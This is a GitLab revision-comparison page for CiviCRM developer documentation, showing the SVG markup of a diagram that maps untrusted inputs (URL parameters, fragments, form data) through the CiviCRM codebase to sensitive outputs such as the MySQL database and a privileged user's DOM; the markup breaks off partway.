Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found

Target

Select target project
  • documentation/docs/dev
  • totten/dev
  • bgm/dev
  • ivan_compucorp/dev
  • seamuslee/dev
  • artfulrobot/dev
  • ufundo/dev
  • wmortada/dev
  • lucky091588/dev
  • DaveD/dev
  • jtwyman/dev
  • rukkykofi/dev
  • JonGold/dev
  • jaapjansma/developer-docs
  • alainb/dev
  • noah/dev
  • justinfreeman/dev
  • pradeep/dev
  • larssg/dev
  • eileen/dev
  • darrick/dev
  • mattwire/dev
  • colemanw/dev
  • homotechsual/dev
  • JoeMurray/dev
  • maynardsmith/dev
  • kurund/dev
  • rocxa/dev
  • AllenShaw/dev
  • bradleyt/dev
  • chrisgaraffa/dev
  • martin.w/dev
  • herbdool/dev
  • MattTrim1/dev
  • Detlev/dev
  • ErikHommel/dev
  • brienne/devdocs
  • pminf/dev
  • SarahFG/dev
  • ayduns/dev
  • JKingsnorth/dev
  • ginkgomzd/dev
  • nicol/dev
  • almeidam/dev
  • arthurm/dev
  • damilare/dev
  • semseysandor/dev
  • major/devdocs
  • usha.makoa/dev
  • yurg/dev
  • shaneonabike/dev
  • andie/dev
  • mmyriam/dev
  • gngn/dev
  • florian-dieckmann/dev
  • jade/dev
  • luke.stewart/dev
  • vinaygawade/dev
58 results
Show changes
Showing
with 1864 additions and 455 deletions
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="553.56763"
height="289.14532"
viewBox="0 0 553.56762 289.14532"
version="1.1"
id="svg8"
inkscape:version="0.92.1 unknown"
sodipodi:docname="security-inputs-and-outputs.svg">
<defs
id="defs2" />
<sodipodi:namedview
id="base"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="0.0"
inkscape:pageshadow="2"
inkscape:zoom="1"
inkscape:cx="200.97324"
inkscape:cy="221.03966"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="false"
units="px"
inkscape:window-width="1548"
inkscape:window-height="868"
inkscape:window-x="52"
inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:snap-global="false"
fit-margin-top="10"
fit-margin-left="10"
fit-margin-right="10"
fit-margin-bottom="10" />
<metadata
id="metadata5">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title></dc:title>
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Layer 1"
inkscape:groupmode="layer"
id="layer1"
transform="translate(-3.8845495,-259.39822)">
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 156.48242,160.63672 v 11.36914 H 59 v 34.60742 h 97.48242 v 11.3711 l 32.16602,-28.67383 z"
transform="translate(3.8845495,257.36697)"
id="rect4697"
inkscape:connector-curvature="0" />
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="M 156.48242,39.822266 V 51.193359 H 10 v 34.607422 h 146.48242 v 11.369141 l 32.16602,-28.673828 z"
transform="translate(3.8845495,257.36697)"
id="rect4743"
inkscape:connector-curvature="0" />
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 156.48242,100.22852 v 11.37109 H 29 v 34.60742 h 127.48242 v 11.37109 l 32.16602,-28.67382 z"
transform="translate(3.8845495,257.36697)"
id="rect4703"
inkscape:connector-curvature="0" />
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 156.48242,221.04297 v 11.37109 H 105 v 34.60742 h 51.48242 v 11.3711 l 32.16602,-28.67578 z"
transform="translate(3.8845495,257.36697)"
id="rect4691"
inkscape:connector-curvature="0" />
<rect
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#cccccc;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
id="rect4485"
width="106.07417"
height="238.40738"
x="206.96291"
y="298.63617"
rx="3.6358359" />
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:500;font-stretch:normal;font-size:18.66666603px;line-height:25px;font-family:Quicksand;-inkscape-font-specification:'Quicksand Medium';font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:start;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="259.91797"
y="413.01395"
id="text4489"><tspan
sodipodi:role="line"
id="tspan4487"
x="259.91797"
y="413.01395"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:21.33333397px;font-family:Roboto;-inkscape-font-specification:Roboto;text-align:center;text-anchor:middle">CiviCRM</tspan><tspan
sodipodi:role="line"
x="259.91797"
y="438.69705"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:21.33333397px;font-family:Roboto;-inkscape-font-specification:Roboto;text-align:center;text-anchor:middle"
id="tspan4485">codebase</tspan></text>
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:500;font-stretch:normal;font-size:18.66666603px;line-height:25px;font-family:Quicksand;-inkscape-font-specification:'Quicksand Medium';font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:start;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="99.383942"
y="283.61697"
id="text4498"><tspan
sodipodi:role="line"
x="99.383949"
y="283.61697"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:18.66666603px;font-family:Roboto;-inkscape-font-specification:Roboto;text-align:center;text-anchor:middle"
id="tspan4496">Untrusted inputs</tspan></text>
<text
id="text4492"
y="283.61697"
x="419.67853"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:18.66666603px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
xml:space="preserve"><tspan
id="tspan4490"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:18.66666603px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
y="283.61697"
x="419.67853"
sodipodi:role="line">Sensitive outputs</tspan></text>
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="120.83499"
y="453.31287"
id="text4610"><tspan
sodipodi:role="line"
x="120.83499"
y="453.31287"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
id="tspan4608">Form data</tspan></text>
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:500;font-stretch:normal;font-size:16px;line-height:25px;font-family:Quicksand;-inkscape-font-specification:'Quicksand Medium';font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:start;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="99.397491"
y="332.49866"
id="text4514"><tspan
sodipodi:role="line"
x="99.397491"
y="332.49866"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;font-family:Roboto;-inkscape-font-specification:Roboto;text-align:center;text-anchor:middle"
id="tspan4512">URL parameters</tspan></text>
<text
id="text4504"
y="392.90576"
x="107.56155"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
xml:space="preserve"><tspan
id="tspan4502"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
y="392.90576"
x="107.56155"
sodipodi:role="line">URL fragment</tspan></text>
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="140.7178"
y="513.72003"
id="text4616"><tspan
sodipodi:role="line"
x="140.7178"
y="513.72003"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
id="tspan4614">etc...</tspan></text>
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 469.81618,297.18924 v 11.37109 H 333.88455 v 34.60742 h 135.93163 v 11.36914 l 32.16601,-28.67383 z"
id="rect4749"
inkscape:connector-curvature="0"
sodipodi:nodetypes="cccccccc" />
<text
id="text4534"
y="332.49863"
x="403.89871"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
xml:space="preserve"><tspan
id="tspan4532"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
y="332.49863"
x="403.89871"
sodipodi:role="line">MySQL database</tspan></text>
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 503.5951,357.59549 v 11.37109 H 333.88455 V 403.574 H 503.5951 v 11.37109 l 32.16602,-28.67382 z"
id="rect4755"
inkscape:connector-curvature="0"
sodipodi:nodetypes="cccccccc" />
<path
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 515.28613,418.00369 v 11.37109 H 333.88455 v 34.60547 h 181.40158 v 11.3711 l 32.16602,-28.67383 z"
id="rect4761"
inkscape:connector-curvature="0"
sodipodi:nodetypes="cccccccc" />
<path
inkscape:connector-curvature="0"
style="color:#000000;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#eeeeee;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
d="m 385.36697,478.40994 v 11.37109 h -51.48242 v 34.60742 h 51.48242 v 11.3711 l 32.16602,-28.67578 z"
id="rect4679" />
<text
id="text4518"
y="513.72003"
x="365.7178"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
xml:space="preserve"><tspan
id="tspan4516"
style="font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;vector-effect:none;fill:#000000;fill-opacity:1;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers"
y="513.72003"
x="365.7178"
sodipodi:role="line">etc...</tspan></text>
<text
xml:space="preserve"
style="color:#000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-size:16px;line-height:25px;font-family:Roboto;-inkscape-font-specification:Roboto;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:center;text-decoration:none;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;letter-spacing:normal;word-spacing:normal;text-transform:none;writing-mode:lr-tb;direction:ltr;text-orientation:mixed;dominant-baseline:auto;baseline-shift:baseline;text-anchor:middle;white-space:normal;shape-padding:0;clip-rule:nonzero;display:inline;overflow:visible;visibility:visible;opacity:1;isolation:auto;mix-blend-mode:normal;color-interpolation:sRGB;color-interpolation-filters:linearRGB;solid-color:#000000;solid-opacity:1;vector-effect:none;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:3;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;marker:none;paint-order:stroke fill markers;color-rendering:auto;image-rendering:auto;shape-rendering:auto;text-rendering:auto;enable-background:accumulate"
x="420.83621"
y="392.07123"
id="text4802"><tspan
sodipodi:role="line"
id="tspan4800"
x="420.83621"
y="392.07123">Privileged user's DOM</tspan></text>
<text
xml:space="preserve"
